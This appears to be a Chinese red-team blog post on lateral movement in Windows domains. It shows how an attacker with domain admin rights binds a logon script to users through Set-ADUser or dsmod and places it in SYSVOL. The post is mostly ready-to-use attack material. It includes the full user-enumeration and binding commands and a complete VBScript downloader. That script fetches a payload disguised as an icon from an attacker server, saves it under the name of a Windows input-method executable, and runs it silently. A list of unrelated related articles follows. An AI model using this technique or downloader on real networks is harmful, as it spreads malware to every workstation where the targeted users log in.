登录脚本下发

蔚落 2024-03-31 16:25 34阅读 0赞

0x1、利用场景

当获取到域控权限或domain admin等高权限时，想横向到域内PC主机上对方开启了防火墙，无法通过445、135进行横向利用，可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带，获取当前域用户信息

Get-ADUser -Filter \* -Properties \* | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\\Users\\Public\\Documents\\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"

strHDLocation = "C:\\Users\\Public\\Documents\\ChsIME.exe"

Set objXMLHTTP = CreateObject( "MSXML2.XMLHTTP" )

objXMLHTTP.open "GET" , strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject( "ADODB.Stream" )

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0'Set the stream position to the start

Set objFSO = Createobject( "Scripting.FileSystemObject" )

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

strComputer = "."

set ws=wscript.createobject( "wscript.shell" )

val=ws.run ( "C:\\Users\\Public\\Documents\\ChsIME.exe" ,0)

上传至dc c:\\windows\\SYSVOL\\sysvol\\redteam.com\\SCRIPTS\\目录下，通过方法一或方法二进行绑定后刷新组策略即可

[https://www.cnblogs.com/websecyw/p/16657762.html][https_www.cnblogs.com_websecyw_p_16657762.html]

[https_www.cnblogs.com_websecyw_p_16657762.html]: https://www.cnblogs.com/websecyw/p/16657762.html

发表评论取消回复

表情：

评论列表（有 0 条评论，34人围观）

还没有评论，来说两句吧...

相关阅读

相关登录脚本下发

0x1、利用场景当获取到域控权限或domain admin等高权限时，想横向到域内PC主机上对方开启了防火墙，无法通过445、135进行横向利用，可以通过登录脚本绑定的方式

蔚落/ 2024年03月31日 16:25/ 0 赞/ 35 阅读

相关编写一个登录系统脚本

如果你想编写一个登录系统脚本，首先需要确定使用的编程语言。根据你的需求，可以使用不同的语言，如 Python、Java、C++ 等。这是一份使用 Python 编写的简单登

青旅半醒/ 2024年03月25日 07:38/ 0 赞/ 66 阅读

相关多机免密登录自动化脚本

yum安装自动交互服务 yum -y install expect 生成公钥 ssh-keygen -t rsa -P "" -f /root/.ssh/

我不是女神ヾ/ 2023年01月20日 08:05/ 0 赞/ 163 阅读

相关 OpenVSwitch下发安全组流表

安全组 1、安全组是一种虚拟防火墙，具备有状态的数据包过滤功能，用于设置云服务器、负载均衡、数据库等实例的网络访问控制，是重要的网络安全隔离手段。您可以通过配置安全

港控/mmm°/ 2022年12月25日 06:52/ 0 赞/ 61 阅读

相关使用ssh登录shell脚本远程调用

环境：两台centos 7.0 ip:192.168.1.228、192.168.1.229 从192.168.1.228免输入密码登录到192.168.1.229

逃离我推掉我的手/ 2022年09月21日 14:23/ 0 赞/ 263 阅读

相关 linux自动登录脚本

!/usr/bin/expect -f set host 10.1.2.3 set user root set password 123456

客官°小女子只卖身不卖艺/ 2022年05月22日 03:56/ 0 赞/ 219 阅读

相关 ssh脚本自动登录

ssh脚本登录 1.什么是ssh指纹使用 /etc/ssh/ssh_host_rsa_key.pub 公钥加密生成的字符串，用来校验或验证连接的远程主

àì夳堔傛蜴生んèń/ 2022年02月27日 13:18/ 0 赞/ 357 阅读

相关 ansible的安装和密钥下发

ansible集合了众多优秀运维工具（Puppet、Cfengine、Chef、Func、Fabric）的优点，实现了批量系统配置、批量程序部署、批量运行命令等命令等功能。an

亦凉/ 2022年02月15日 00:09/ 0 赞/ 379 阅读

相关 widows编写bat脚本，注销用户登录

安装grep, awk工具 grep工具下载：[http://nchc.dl.sourceforge.net/project/gnuwin32/grep/2.5.4/gre

梦里梦外;/ 2022年01月23日 21:19/ 0 赞/ 573 阅读

相关人人网自动登录脚本_python

import urllib,urllib2,cookielib from BeautifulSoup import BeautifulSoup myCo

阳光穿透心脏的1/2处/ 2021年11月23日 15:06/ 0 赞/ 262 阅读